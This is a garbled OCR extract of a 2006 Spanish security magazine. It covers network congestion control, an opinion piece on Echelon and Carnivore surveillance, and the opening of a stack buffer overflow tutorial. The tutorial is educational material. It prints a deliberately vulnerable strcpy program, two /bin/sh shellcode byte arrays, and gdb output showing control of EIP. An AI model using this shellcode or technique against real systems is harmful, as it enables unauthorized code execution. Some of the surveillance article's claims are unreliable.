antes. gestionada la subred. Una desventaja de hacPara superar este problema, Nagle (1987) erlo todo el tiempo es que se tiende a desper- propuso un algoritmo de Encolamiento Justo. diciar recursos.
Paquetes de Estrangulamiento Este es un enfoque que puede usarse tanto en circuitos virtuales como en subredes de datagramas. Cada enrutador puede supervisar fácilmente el uso de sus líneas de salida y
Figura C
A
B
Circuito virtual
Security&technology | OCTUBRE 06
La esencia del algoritmo es que los enrutadores tienen varias colas para cada línea de salida, una para cada origen. Cuando una línea esta ociosa, el enrutador examina las colas por turnos, tomando el primer paquete de la siguiente cola. De esta manera, con n hosts compitiendo por una línea de salida dada, cada host envía uno de cada n paquetes. El envió de mas paquetes no mejorara esta fracción. Algunos conmutadores ATM usan este algoritmo. Este algoritmo tiene un problema, da mas ancho de banda a los hosts que usan paquetes grandes que a los que usan paquetes pequeños. Demers (1990) ha sugerido una mejora en la que la búsqueda por turno se hace de manera que simula una ronda byte por byte, en lugar de una ronda paquete por paquete. Se examinan repetidamente las colas, byte por byte, hasta que se encuentra el pulso de reloj en el que termina cada paquete. Se ordenan los paquetes en orden de terminación y se envían en ese orden. El algoritmo se ilustra en la Figura D.
A
1
5
B
2
6
C
3
D
4
Paquete
9
12
7
10
13
8
11
14
15
16
Tiempo de terminación
B
6
C
13
D
14
A
16
Figura D. Un enrutador con cuatro paquetes encolados para la línea O. Tiempos de terminación de los cinco paquetes.
Ponderado, y es de amplio uso.
Figura E
A altas velocidades y distancias grandes, el envió de un paquete de estrangulamiento a los hosts de origen no funciona bien, porque la reacción es muy lenta. Consideremos el ejemplo de la Figura E, un host en Buenos Aires (enrutador A) que esta enviando trafico a un host en Córdoba (enrutador D) a 155 Mbps. Si al host de Córdoba se le comienza a terminar el espacio de buffer, le llevara unos 30 mseg a un paquete de estrangulamiento regresar a Buenos Aires para indicarle que disminuya su velocidad. La propagación de paquetes de estrangulamiento se muestra en el segundo, tercer y cuarto pasos de la Figura E. En esos 30 mseg se habrán enviado otros 4,6 megabits (por ejemplo, en 10.000 células ATM). Aun si el host de Buenos Aires se desactiva de inmediato, los 4,6 megabits en el conducto continuaran fluyendo, y habrá que encargarse de ellos. Solo hasta el séptimo diagrama de la Figura E el enrutador de Córdoba notara un flujo mas lento. Un enfoque alterno es hacer que el paquete de estrangulamiento tenga efecto en cada escala que haga, como se muestra en la secuencia de la Figura F. Aquí, tan pronto como el paquete de estrangulamiento llega a F, se obliga a F a reducir el flujo a D. Hacerlo requerirá que F destine mas buffers al flujo, ya que el origen aun esta transmitiendo a toda maquina, pero da a D un alivio inmediato. En el siguiente paso, el paquete de estrangulamiento llega a E, e indica a este que reduzca el flujo a F. Esta acción le impone una mayor carga a los buffers de E, pero le da un alivio inmediato a F. Por ultimo, el paquete de estrangulamiento llega a A y efectivamente se reduce el flujo.
Figura F B
Paquetes de Estrangulamiento de Escala por Escala
Es un método que utilizan los enrutadores Cuando fallan el resto de los métodos para eliminar el congestionamiento. Simplemente cuando ya no pueden manejar ciertos paquetes los eliminan, teniendo en cuenta las aplicaciones que se están ejecutando. Cuando la transferencia es de archivos vale siempre mas un paquete nuevo que uno viejo, entonces si por ejemplo tengo un problema en la transmisión del paquete 6, y si yo tuviera una transmisión de 12 paquetes tendría que retransmitir del paquete 6 al 12. En el caso de multimedia, es mas importante recibir un paquete nuevo a uno viejo, es lo que me garantiza la calidad de la transmisión
C
A
B
D
E
C
A
D
E
F
F
Flujo pesado
Estrangulamiento
Estrangulamiento
Estrangulamiento
Estrangulamiento
Estrangulamiento
Estrangulamiento
Flujo reducido
Se redujo el Flujo
Desprendimiento de carga En la Figura D vemos paquetes de longitudes de 2 a 6 bytes. En el pulso (virtual) de reloj 1 se envía el primer byte del paquete por la línea A; luego sale el primer byte del paquete por la linea B, etc. el primer paquete que termina es el C, tras 6 pulsos. En ausencia de paquetes nuevos, los paquetes se enviaran en el orden listado, de C a A. Uno de los problemas de este algoritmo es que da a todos los hosts la misma prioridad. En muchas situaciones, es deseable dar al servidor de archivos y a otros servidores mas ancho de banda que a los clientes, de modo que puedan transmitir dos o mas bytes por pulso. Este algoritmo modificado se llama Encolamiento Justo
9
Control de fluctuación
El Flujo aún está en su Tasa Máxima B
C
D
E
F
Se redujo el Flujo
En aplicaciones como audio y video, es mas importante tener un flujo constante de paquetes que tener una velocidad mayor, o sea que no es tan importante si los paquetes tardan 20 mseg. O 30 mseg. Lo importante es que la velocidad con que llegan todos sea mas o menos la misma para evitar que lleguen en un orden distinto al que originalmente tenían, o sea lo ideal (en este caso) sería que todos los paquetes tarden 25 mseg. Aproximadamente. Dicha fluctuación puede calcularse teniendo en cuenta cada escala de la trayectoria. Esta información se graba en el paquete y se actualiza en cada escala de la trayectoria.
10 Security&technology | OCTUBRE 06
ECHELON
Por Pedro
E
La red
M. Cacivio
ESPÍA
n el actual entorno legislativo y reglamentario que rige la implementación de la Seguridad Informática en las Empresas, definidos por ejemplo, por las leyes de privacidad de datos y los impactos directos o indirectos de la Sarbanes Oxley Act, la informática forense está adquiriendo una gran importancia: su aplicación permite comprobar la trazabilidad de los hechos informáticos, ya sea que no haya un registro específico o que éste haya sido dañado accidental o intencionalmente. En el pasado mes de agosto se llevaron a cabo las VII Jornadas Universitarias Tecnológicas sobre Informática (JUTI). El primer día estuvo orientado a la seguridad informática y tuve la oportunidad de asistir como expositor. En una de las disertaciones, un profesor de la Universidad Tecnológica y encargado de la seguridad del gobierno del Chaco (a través de la empresa ECOM), afirmó que “es imposible romper una encriptación de 128 bits, incluso para un organismo como la NSA”. Agregó además, entre otras, la frase “en el caso que esta existiera”. Respeto los diversos puntos de vista, sin embargo me pareció increíble que esas palabras salieran de su boca. Debo admitir que me causó muchísima gracia imaginar a un grupo de terroristas enviándose e-mails entre sí, con encriptación de 128 bits en su Outlook e indicando sujetos como “Asesinato del presidente de los Estados Unidos” y la gente de la NSA aterrada y
preguntandose, “Si está encriptado en 128 bits, ¿ahora qué hacemos?”.
El mundo informatizado Las computadoras juegan hoy en día un papel fundamental en nuestras vidas. Cuando vamos a un supermercado y pagamos con tarjeta de crédito, la misma es chequeada por un computadora con una gran base de datos; cuando hacemos una llamada por nuestros teléfonos móviles primeramente estamos estableciendo una comunicación con una computadora que nos redirecciona hacia donde queremos comunicarnos. Asimismo, cuando atravesamos un peaje, una cámara filma la patente de nuestro auto y de todo, absolutamente de todo, queda un registro en una computadora. Dudo que pueda transcurrir un día de nuestras vidas habiendo prescindido de un cerebro electrónico. Hoy por hoy, no necesitamos saber de informática, solo basta simples operaciones cotidianas: ir a un negocio y que se nos extienda un ticket de venta, escribir un e-mail, chatear, votar en las elecciones, comprar dólares en alguna agencia de cambios, adquirir un inmueble, subscribirse a una conexión de cable o telefonía, pagar los impuestos, inscribirse en un club, estudiar en alguna entidad pública o privada, sacar un crédito o realizar cualquier acción comercial. Mejor dicho, simplemente nacer. De aquí parte nuestra hipótesis, el rol de las computadoras es fundamental; por eso mismo, quien posea el control de la información en un mundo así de informatizado, tendrá también el control sobre todas nuestras vidas.
¿Qué son Echelon y Carnivoro?
En 1949, el gobierno estadounidense creó AFSA (Armed Forces Security Agency), una agencia de seguridad que reunía a los mejores criptólogos del mundo: William y Elizebeth Friedman, Frank Rowlett, Agnes Meyer Driscoll y Herbert O. Yardley, entre otros. Estos conformaban la central de criptoanálisis militar más poderosa de la época, pero esto no bastaba para el gobierno norteamericano, es por esto que hacia noviembre de 1952 el presidente Truman decidió crear la NSA (National Security Agency). La oficina central de la Agencia de Seguridad Nacional está ubicada actualmente en Fort Meade, Maryland, aproximadamente a 16 km. al noroeste de Washington. La NSA tiene su propia salida a la carretera Baltimore-Washington, señalizada como “Sólo para empleados de la NSA”.
En la misma década se creó en Nueva Zelanda un servicio de inteligencia llamado GCSB (Government Communications Security Bureau), en la cual desarrolaron Echelon, un avanzado sistema de espionaje a escala mundial que -junto con UKUSA (unión de espionaje entre EE. UU. y Gran Bretaña) y el empleo de 120 satélites militares y mas de 40.000 agentes en todo el mundo- controla todas las comunicaciones, desde la telefonía o Internet, hasta Frecuencias de radio. De hecho, Echelon puede interceptar los 25 satélites INTELSAT usados por las empresas telefónicas de todo el mundo. Echelon fue dado a conocer en 1976 por Winslow Peck. La nueva actividad de espionaje económico fue comprobada por el ex-jefe de la CIA James Woolsey en un artículo del Wall Street Journal del 17 de marzo de 2000 donde ad-
Morwenstown, en Inglaterra, es uno de los centros de recopilación de datos y retransmisión espía que posee Echelon.
Security&technology | OCTUBRE 06
mite abiertamente el espionaje realizado en Europa. En resumen: la gente de Echelon tiene conocimiento sobre qué enviamos en nuestros e-mails, qué información se pasa en cada negociación, pueden escuchar cualquier comunicación telefónica o de radio de onda corta. De esta manera tienen el poder de manejar toda la información en lo civil y comercial, lo cual suena aterrador. Tal vez no entendamos la magnitud de este hecho, pero ejemplificando: se cree que Echelon interceptaba las comunicaciones entre Thomson-CSF y el Gobierno brasileño
PROTESTA MASIVA “Cada vez que envías una carta electrónica que contiene palabras clave, como revolución, los ordenadores de Echelon lo registran. Si lo haces regularmente, se te señalará para un seguimiento humano”. Así describe un prominente grupo de hacktivistas la función básica de Echelon y también su punto débil, que han decidido explotar. Para ello, están haciendo una llamada planetaria a “provocar un enorme sobreesfuerzo a Echelon”, en una especie de mailbombing (envío masivo de correos) realmente original: piden que el próximo 21 de octubre, como protesta contra el espionaje, todo el mundo escriba y envíe al menos una carta electrónica en la que aparezca alguna de las palabras de la lista secreta de Echelon. “No importa si el texto es coherente o no, sólo debe haber palabras que suenen lo más subversivas posible”. Este tipo de sabotaje se practicaba ya desde que se conoció Echelon, pero sólo entre los más concienciados.
en 1994 en la negociación del contrato de 1.600 millones de dólares para un sistema de supervisión por satélite de la selva amazónica, vendiéndole la información a la firma norteamericana Raytheon Corp., quien se adjudica el contrato para luego pertenecer a la red Echelon. En 1995, la interceptación de los fax y las llamadas telefónicas mantenidas entre Airbus y el Gobierno de Arabia Saudita con los detalles de las comisiones ofrecidas a los funcionarios permitió a la administración de EE.UU. presionar para que el contrato de 6000 millones de dólares fuera concedido a Boeing-McDonnell Douglas. En la industria automovilística japonesa, la delegación francesa durante las negociaciones de liberalización comercial de la Ronda Uruguay, las negociaciones del
«Carnívoro procesa todos los datos informáticos que recopila y luego los ordena en categorías que son enviadas a especialistas en la materia» consorcio europeo Panavia para vender el avión de combate Tornado a los países de Oriente Medio y la Conferencia Económica Asia-Pacífico de 1997. Y no nos olvidemos de la adjudicación de la General Motors y Volkswagen a causa del fichaje de López de Arriortúa por la firma europea. Pero no solo se la usa para el espionaje comercial, la red Echelon fue la que triangulo las llamadas telefónicas dando las coordenadas satelitales para matar con un misil a Dzokhan Dudayev, terrorista checheno asesinado mientras hablaba con su móvil. Hoy en día tenemos a Enfopol un sistema mas sofisti-
Vista aérea de la base Menwith Hill, en North Yorkshire, Inglaterra.
cado que Echelon que analiza en forma mas precisa la información recolectada de Internet. Los británicos aseguran poder realizar este tipo de espionaje, amparándose en una ley de 1985 que faculta a su servicio secreto a interceptar cualquier información que ellos consideren, pueda comprometer a la corona inglesa. La denominación de Carnivoro proviene de su poder de llegar hasta los huesos de una investigación, pese a que hoy se lo denomina DCS1000, que son sus siglas en inglés de Sistema de Colección Digital, aunque todos lo conocen por su antiguo nombre. Por muchos años el FBI utilizó a Carnivoro para obtener toda la información de los servidores, en los cuales hacen un Download (obtención de todo el tráfico de la red) del mismo y analizan todo tipo de e-mail o transmisión que podría ser considerada relevante, según ellos para localizar células terroristas o redes de narcotráficos. Carnívoro procesa todos estos datos los ordena en categorías que son enviadas a especialistas en la materia. Un ejemplo concreto de la actualidad, nos remite cinco años atrás. El director ejecutivo del centro, Jim Dempsey, declaró que “desde el 11 de septiembre del 2004, a tres años del 11-S, el FBI está autorizado a buscar información sobre individuos sin razón alguna por sólo creer que están participando, planeando, o relacionados de alguna forma con cualquier conducta
SECURITY& ETHICALHACKING CONFERENCE+EXHIBITION
23 NOVIEMBRE 2006 HOTEL SHERATON LIBERTADOR WWW.SECURITYC.COM/ESEH MANAGEMENT CONFERENCES · Prohibir o Permitir Wireless en Empresas, Errores Conceptuales de Existencia. Frank Craig · Creación de Distribuciones en entornos Linux - Marcos P. Russo · Estándares - ¿Cómo controlarlos? - Lic. Diego San Esteban · Estándares y Mejores Prácticas - Carlos Fulqueris · Como se implementa un proyecto de Seguridad Informática en el mundo real - Gustavo Aldegani
ETHICAL HACKING EXHIBITIONS · · · · · ·
11
Breve Cronología de Fallas en Internet Explorer - Pedro Cacivio Nuevos ataques a base de datos Oracle - Esteban Martinez Fayo System Hardening en GNU/Linux - Federico Pacheco Practical 10 minutes security audit - Oracle case - Cesar Cerrudo Forensic in action - Gustavo R. Sepulcri Pentest con Automated Penetration Testing Tool - Nicolas Waisman
12 Security&technology | OCTUBRE 06
CĂłmo funciona Echelon, la red espĂa Centros de recopilaciĂłn
ECHELON, LA RED ESPĂ?A Un total de 120 satĂŠlites rastrean las comunicaciones de gobiernos, empresas y ciudadanos y las envĂan al centro neurĂĄlgico de Echelon en Fort Meade, en Maryland.
Menwith Hill
Leitrim
Yorkshire, Inglaterra
Ottawa, CanadĂĄ
Comunicaciones por satĂŠlite
Morwenstown
Bad Aibling
Bayern, Alemania
Comwall, Inglaterra
Las seĂąales son interceptadas cuando la torre manda las ondas a un satĂŠlite para que ĂŠste las redirija a una estaciĂłn central.
Misawa
Yakima Center Seattle, EE.UU.
JapĂłn
Sugar Crove
Washington DC, EE.UU.
Shoal Bay Australia
SatĂŠlite Intelsat
Geraldton Station Australia
INTERNET Y CORREO ELECTRĂ“NICO SatĂŠlite espĂa
EstaciĂłn central
Mediante rastreadores (sniffers), se peina la red en busca de contenidos considerados peligrosos en los paquetes de datos.
Redes de datos
Torre de telecomunicaciones COMUNICACIÓN SIN SATÉLITE
CENTROS DE RECOPILACIĂ“N Y PROCESAMIENTO
Una estaciĂłn central manda la seĂąal a un poste repetidor a mĂĄs de 500 km., momento en el que es suceptibble de ser captada.
La informaciĂłn es procesada en estos centros por potentes ordenadores con diccionarios cargados de palabras clave.
SatĂŠlite espĂa
EstaciĂłn central Poste repetidor
Antenas receptoras
.UEVAS SUCURSALES 3TA 4ERESITA \ 0INAMAR
2OSARIO 3ANTA &Ă?
COSTA SECURITYC COM
ROSARIO SECURITYC COM
#HACO
,A 0LATA "UENOS !IRES
NORTE SECURITYC COM
LAPLATA SECURITYC COM
Ordenadores
Security&technology | OCTUBRE 06
criminal”. Obviamente esto se está llevando a cabo a través de la Agencia de Proyectos Avanzados de Investigación para la Defensa (DARPA).
El espionaje a toda escala En el año 1996 se publicó el libro Secret Power. Allí, Nicky Hagars escribe acerca de un método denominado Tempest. Este sistema de espionaje, dice Hagars, aprovecha la radiación electromagnética de la pantalla de los monitores para recibir todo lo que se muestra en los mismos. Esta información sin duda alguna- fue tomada de un artículo académico que escribiera el holandés Wim Van Eck en 1985.
3. En distintos países se ofrece un servicio de monitoreo satelital por GPS a objetos como automóviles, motos, o cualquier otro objeto de valor que sea móvil, aún un ser humano. Esto puede parecernos un chiste, pero si por un momento pensamos en poder saber donde está alguien si es secuestrado, nos daremos cuenta de la importancia del asunto. Ahora bien, también suena aterrador el hecho de saber que una agencia sabe de todos nuestros movimientos. 4. En diciembre de 2005 se festejaba la instalación del sistema de cámaras que fueron puestas en centros comerciales y plazas publicas de Europa, así como en entrada de museos y lugares muy frecuen-
señales aún antes de que lleguen al destinatario.
Secoqc, ¿la cura o la nueva enfermedad? Desde que en 2001 el parlamento europeo encontró pruebas suficientes para saber que Echelon se estaba utilizando en las transacciones comerciales, decidieron defenderse contra este tipo de amenaza invirtiendo 11 millones de euros en el desarrollo de un sistema de comunicación seguro basado en criptografía cuántica. Este proyecto se denominó SECOQC (Secure Communication Based Quantum Cryptography). Se inició en abril de 2004 avalado por Austria, Bélgica, Reino Unido, Canadá, República Checa, Dinamarca, Francia, Alemania, Italia, Rusia, Suecia y Suiza. Si bien el proyecto es muy teórico, también es prometedor ya que si logran cumplir su objetivo la información viajaría en forma de fotones a gran velocidad, estando los mismos encriptados con criptografía quántica. Pero llegado a este lugar, volvemos a un antiguo problema: así como se podrá evitar que se espíen acciones militares, comerciales o de gobierno, también podrá ser usado para manejo de información de células terroristas, narcotráfico o conspiraciones contra determinadas naciones. Me resulta difícil creer que esta sea la pócima o remedio, ya que históricamente siempre se pudo romper cualquier seguridad por perfecta que parezca. Tenemos dos claros ejemplo: la primera y segunda guerra mundial. En la primera, los alemanes se aseguraban una victoria ya que sus mensajes eran inviolables por un sistema de encriptación llamado Enigma. En la Segunda Guerra Mundial, la decodificación del mismo culminó con el desciframiento de todos sus mensajes donde especificaban donde realizarían principales ataques y su estrategia para evitar que Estados Unidos se uniera a los aliados.
Los Hackers El satélite espía Intelstat es utilizado por las redes Carnivoro y Echelon. ¿Qué hay de nuestros ordenadores y de la información que manejamos? Algunos ejemplos de espionaje a diferentes escalas son: 1. Siempre se habló de la mismísima Microsoft y de que sus tan conocidos sistemas operativos Windows, cuentan con un sistema de reportes de información no autorizada y confidencial. Cada vez que realizamos una actualización con nuestros sistemas el mismo se conecta en forma automática a servidores de su firma, mandando gran cantidad de datos provenientes de nuestras computadoras. En su última visita a la Argentina, Richard Matthew Stallman -figura central del movimiento del software libreratificó este hecho acerca de Microsoft y explicó que en si, la mayoría del software utilitario cuenta con este mecanismo con el cual pueden obtener datos de nuestras PCs. Al poseer códigos cerrados, uno no puede saber que tipo de información están manipulando cada vez que realizamos una actualización. 2. A una escala mucho menor, una compañía estadounidense llamada Lover Spy, ofrece la forma de espiar a la persona deseada enviando una tarjeta postal electrónica, que se duplica en el sistema como un dispositivo oculto.
tados. Las mismas pueden ser accedidas a través de la web, esto puede ser un arma de doble filo: en teoría ayudaría a controlar posibles atracos o robos, pero por otro lado también podría ser usado de forma ilegal para robar una casa mientras monitorean como sus dueños pasean por el centro comercial. 5. La telefonía celular es cada vez mas utilizada y en cierta forma nos simplifica la vida. Cada vez la tecnología nos va ofreciendo mejoras que sin saberlo posibilitan a controlar de mejor forma nuestras llamadas. Cada vez que realizamos una llamada telefónica, esta pasa por distintos ordenadores, dejando registro de todo lo ocurrido. Cuando dejamos un mensaje a un contestador automático, estamos estableciendo una comunicación con una computadora que guarda un mensaje de voz nuestra. Cuando el destinatario quiere escucharla se comunica con esa computadora para que el mensaje le sea transmitido, pero estos mensajes son guardados por tiempo determinado, es así que si un juez pide como evidencia las comunicaciones se llevaron a cabo con un celular, estas deben entregársele en forma inmediata. Con los nuevos sistemas GSM esto le simplificará más las cosas a quienes nos espían ya que podrán controlar las
Actualmente, los piratas de la informática cuentan con nuevos virus y gusanos que pueden ser utilizados para espionaje informático comercial. Un claro ejemplo es el caso del virus QAZ, el cual el 24 de octubre de 2005 atacó a Microsoft robándoles gran parte de su información. Existen técnicas como la de sniffer, con la cual se pueden capturar paquetes de información que viajan por la red simplemente usando software muy común, como CAIN Ethereal o TCPDUMP. Existen en la red un sin fin de programas espías como los keylogger o los malwares, pero esto no significa nada si tenemos en cuenta que un atacante experimentado puede tener acceso total a nuestros ordenadores explotando las distintas vulnerabilidades de los sistemas operativos, como así también por causa de mala administración de las redes o por agujeros que dejen determinados gusanos. Por lo general los hackers no buscan realizar daño alguno. Por el contrario, buscan demostrar muchas veces lo vulnerable que somos ante la tecnología misma y posibilitan la mejora del desarrollo informático, para obtener productos mejores, en tanto materia de seguridad. Lamentablemente, estos individuos son puestos en el rol de los malos de la película y el sustento de la fantasía de muchos periodistas. Muchas veces son la excusa perfecta para desarrollar leyes que sólo limitan
“
“Desde el 11 de septiembre del 2004, a tres años del 11-S, el FBI está autorizado a buscar información sobre individuos sin razón alguna por sólo creer que están participando, planeando, o relacionados de alguna forma con cualquier conducta criminal.” JIM DEMPSEY, Director General del centro NSA
“Si conoce al enemigo y se conoce a si mismo, no debe temer por el resultado de cientos de batallas. Si se conoce a si mismo, pero no al enemigo, por cada victoria obtenida sufrirá una derrota. Si no conoce al enemigo ni a sí mismo, sucumbirá en todas las batallas”
“
«Así como se podrá evitar que se espíen acciones militares, comerciales o de gobierno, los métodos de espionaje también se podrán uitlizar para el manejo de información de células terroristas, narcotráfico o conspiraciones contra determinadas naciones.»
13
SUN TZU, “El arte de la guerra”
la libertad de la información en Internet, o para utilizar la tecnología en contra de la libertad de cualquier ciudadano. La “realidad” recurrente de que la tecnología se usa sólo con fines de combatir al terrorismo o al narcotráfico ya esta bastante pasada de moda: quienes controlan esa tecnología la usan con fines de todo tipo, finalmente para satisfacer sus intereses mezquinos, de algún empresario o político de turno, que podría plantar todo tipo de falsas evidencias en contra de cualquier ser humano. La historia ya bien lo ha demostrado, pero si algo me enseñó también la historia es que sólo con conocimiento se puede combatir contra un mundo completamente controlado. Nunca olviden que siempre que se conoce una tecnología, hay detrás una muy superior que seguramente se desconoce.
14 Security&technology | OCTUBRE 06
STACK BUFFER OVERFLOWS En este artículo se explicará de la manera mas clara posible, las técnicas básicas para la explotación de bugs como stack buffer overflows. Se asume que el lector tiene conocimientos de programacion en C y ensamblador para IA-32 (Intel 32 bits) y comprende el funcionamiento de una pila LIFO (Last In First Out). Experiencia con debuggers ayudará al lector en muchos aspectos pero no es estrictamente necesario para la comprensión del texto. Por Agustin
Gianni
¿Qué es un buffer overflow? Un extracto de un artículo de la Wikipedia nos puede traer un poco de luz: “Un desbordamiento de búfer (del inglés buffer overflow) es un error de software que se produce cuando se copia una cantidad más grande de datos sobre un área más pequeña sin interrumpir la operación, sobreescribiendo otras zonas de memoria.” Basicamente lo que esta definición propone se puede ilustrar con una analogía simple. Supongamos que nuestro buffer es un recipiente, de unos 100 litros de capacidad. Mientras nos mantengamos en el límite de 100 litros, todo irá bien. Pero... ¿que pasaría en el caso de que volcaramos en el recipiente mas de 100 litros? Simplemente rebalsaría (overflow). El flujo excedente de líquido iría a parar a otras zonas donde no se supone que tendría que haber liquido. Ya ahora en términos informaticos, si nuestro buffer es un arreglo de digamos unos 256 bytes y tratamos de almacenar en él más de lo que su capacidad permite, pues cosas interesantes pueden pasar.
¿CÓmo aprovechAR un buffer Overflow?
Shellcode
Ahora que tenemos en claro qué es un buffer overflow, necesitamos saber como podemos tornar esta situacion a nuestro favor. Para ello, necesitaremos comprender cómo un lenguaje de alto nivel -como C- realiza llamadas a funciones y como se reserva lugar para los buffers.
Tipica funcion en lenguaje C (tabla 2)
Traduccion a Ensamblador (1)
Int a (arg0, arg1, arg2, ... , argN) { char buffer[256]; return 0; }
push ebp mov ebp,esp sub esp,0x100 mov eax,0x0 leave ret
El lenguaje C define una convención para la llamada a procedimientos en la cual los argumentos de la función a llamar son apilados en la stack (pila), en orden inverso. Es decir, estos son almacenados empezando desde “argN” hasta llegar a “arg0” empleando generalmente la instrucción de los procesadores x86 “push”. Luego, para otorgarle el control a la función deseada, se ejecuta la instrucción “call”. Esta instrucción tiene implicito un “push” que guarda la direccion de la instrucción inmediatamente despues del “call” (EIP). Este “push” implícito le permite a la función llamada, devolver el flujo de ejecución a la función llamante.
Llamada a funcion (tabla 3) push argN ... push arg2 push arg1 push arg0 call a
Estado de la pila EIP Parte alta (ESP) arg0
La respuesta a nuestra ultima cuestion es hacia una shellcode. Esto supone una nueva cuestión. ¿Qué es una shellcode? Una shellcode es un conjunto de instrucciones en ensamblador que realizan una determinada tarea, en la mayoria de los casos ejecutar una shell con privilegios elevados. Pero, ¿qué sucede si en el espacio de memoria de nuestro programa no existe tal codigo? Simple, debemos insertarlo en el espacio de memoria. ¿De qué forma? Una de las maneras mas usuales es inyectar nuestro codigo dentro el mismo buffer que utilizamos para sobreescribir EIP. Otra de las maneras usuales es colocando nuestra shellcode en una variables de entorno y buscando luego su dirección con el debugger o calculandola. La construccion de shellcodes sobrepasa los objetivos de este texto introductivo. Por lo tanto motivamos al lector a que se dirija a algunos de los textos de referencia que luego se mencionarán.
Ejemplo de Shellcode /* linux_ia32_exec - CMD=/bin/sh Size=68 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = “\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x93” “\xe7\x9c\x3b\x83\xeb\xfc\xe2\xf4\xf9\xec\xc4\xa2\xc1\x81\xf4\x16” “\xf0\x6e\x7b\x53\xbc\x94\xf4\x3b\xfb\xc8\xfe\x52\xfd\x6e\x7f\x69” “\x7b\xef\x9c\x3b\x93\xc8\xfe\x52\xfd\xc8\xef\x53\x93\xb0\xcf\xb2” “\x72\x2a\x1c\x3b”;
Explotando la vulnerabilidad: Llegados a este punto, tenemos todas las herramientas necesarias para tomar ventaja de este tipo de situaciones. Para ilustrar en un sentido práctico, analizaremos el siguiente programa escrito en lenguaje C.
arg1
vulnerable.c
arg2
#include <stdio.h> #include <string.h>
... argN Parte baja (EBP) En el ejemplo de la función “a”, esta reserva espacio para un buffer de 256 bytes de extensión. La reserva de este espacio es hecha en la pila mediante la instrucción “sub esp, 0x100” (0x100 es 256 en numeración decimal). Como la reserva de espacio fue hecha en la pila (stack), nuestro estado de la pila (Stack layout) cambia, quedándonos de la siguiente manera:
Estado de la pila (tabla 4) buffer[0] ... buffer[255] EBP EIP arg0 arg1 arg2 ... argN
Una vez ejecutado el cuerpo de la función y liberados los recusos utilizados (en este caso nuestro buffer), la función necesita retornar el control al procedimiento llamante para continuar con el flujo normal de ejecución. Esta acción es llevada a cabo por la instrucción “ret”, la cual implicitamente extrae la direccion EIP que fue pusheada al momento de llamar a nuestra función por la instrucción “call”. Resumiendo, tenemos una variedad de datos guardados en la pila, entre ellos datos de control como la dirección de retorno hacia la función llamante (EIP) y ademas nuestro buffer. Como se puede apreciar en la tabla 4, nuestro buffer está convenientemente por sobre la direccion EIP guardada. Si recordamos que en una condición de buffer overflow podíamos escribir más datos de lo que un buffer podía almacenar, ¿que pasaría si en vez de escribir 256 bytes en el buffer escribieramos 264 bytes (256 mas 8 bytes dado que EBP y EIP son de 4 bytes cada uno)? La respuesta es más que interesante: lo que pasaría es que podriamos especificar el punto de retorno de la función hacia cualquier direccion de memoria que nosotros queramos. Nuestra próxima interrogante es: ¿hacia donde redirijimos el flujo de ejecución?
Parte alta (ESP)
Linea 1 en desensamblado (1)
Parte baja (EBP)
void funcionv(char *ptr) { char buffer[256]; strcpy((void *) buffer, (void *) ptr); printf(“%s\n”, buffer); return; } int main(int argc, char **argv) { funcionv(argv[1]); return 0; } Una pequeña descripción del programa puede ser útil. Basicamente, este código copia a un buffer (de tamaño 256 bytes) el contenido de argv[1], es decir, los argumentos pasados mediante la consola de comandos al programa. Luego de la copia, inmediatamente imprime estos datos y retorna hacia el “main”. Como se puede apreciar, la funcion “strcpy” no realiza ningun tipo de verificación para validar el tamaño del buffer de destino, por lo tanto, estamos ante una situación de buffer
Security&technology | OCTUBRE 06
overflow. Trataremos ahora de poner en práctica lo aprendido en secciones anteriores.
you@thecheff:~$ gcc vulnerable.c -o vulnerable you@thecheff:~$ ./vulnerable `perl -e ‘print “A”x300’`
int main(int argc, char **argv) { char shellcode[] = “\xeb\x20\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c” “\x88\x46\x07\x8d\x56\x0c\x8d\x4e\x08\x89\xf3” “\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\xb0\x01\xcd” “\x80\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f” “\x73\x68\x23”;
AAAAAAAAAAAA....AAAA Segmentation fault you@thecheff:~$ gdb vulnerable -q Using host libthread_db library “/lib/libthread_db.so.1”. (gdb) r `perl -e ‘print “A”x300’` Starting program: /home/you/vulnerable `perl -e ‘print “A”x300’` AAAAAAAAA...(muchas A’s)...AA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eip 0x41414141
Exploit #include <stdio.h> #include <string.h> #include <unistd.h>
Consola
eip
15
0x41414141
Ahora ya sabemos que se puede controlar eip con un valor introducido por nosotros -en este caso 0x41- que es el valor en numeración hexadecimal de la letra “A”. Pero aún necesitamos un par de datos mas, entre ellos a qué distancia del final de nuestro buffer se encuentra la dirección de retorno guardada (EIP) y además, la dirección hacia donde queremos retornar, es decir, la dirección de nuestra shellcode. La distancia desde el comienzo de nuestro buffer la averiguaremos analizando el código desensamblado de nuestro programa, una vez más haremos uso del nuestro debugger (en mi caso gdb).
Desensamblado (gdb) disassemble funcionv Dump of assembler code for function funcionv: 0x080483d8 <funcionv+0>:
push
ebp
0x080483d9 <funcionv+1>:
mov
ebp,esp
0x080483db <funcionv+3>:
sub
esp,0x108
<- Tamano del buffer
(*) Leer nota
0x080483e1 <funcionv+9>:
sub
esp,0x8
0x080483e4 <funcionv+12>:
push DWORD PTR [ebp+8]
0x080483e7 <funcionv+15>:
lea
eax,[ebp-0x108]
0x080483ed <funcionv+21>:
push
eax
0x080483ee <funcionv+22>:
call
0x8048308 <strcpy@plt>
0x080483f3 <funcionv+27>:
add
esp,0x10
0x080483f6 <funcionv+30>:
sub
esp,0x8
0x080483f9 <funcionv+33>:
lea
eax,[ebp-0x108]
0x080483ff <funcionv+39>:
push
eax
0x08048400 <funcionv+40>:
push
0x8048544
0x08048405 <funcionv+45>:
call
0x80482f8 <printf@plt>
0x0804840a <funcionv+50>:
add
esp,0x10
0x0804840d <funcionv+53>:
leave
0x0804840e <funcionv+54>:
ret
<- argumento “ptr” <- Nuestro buffer
<- pop eip
End of assembler dump. (*) Como se puede apreciar aqui, el tamaño reservado a nuestro buffer no es 256 bytes como esperabamos, sino 264. Esto se debe a que el gcc (al igual que muchos otros compiladores) realizan ciertos ajustes para optimizar u alinear nuestro codigo.
El stack layout nos quedará de esta manera al momento de entrar al strcpy:
Buffer
Nuestro buffer
ptr
Primer argumento de la función
buffer[0]
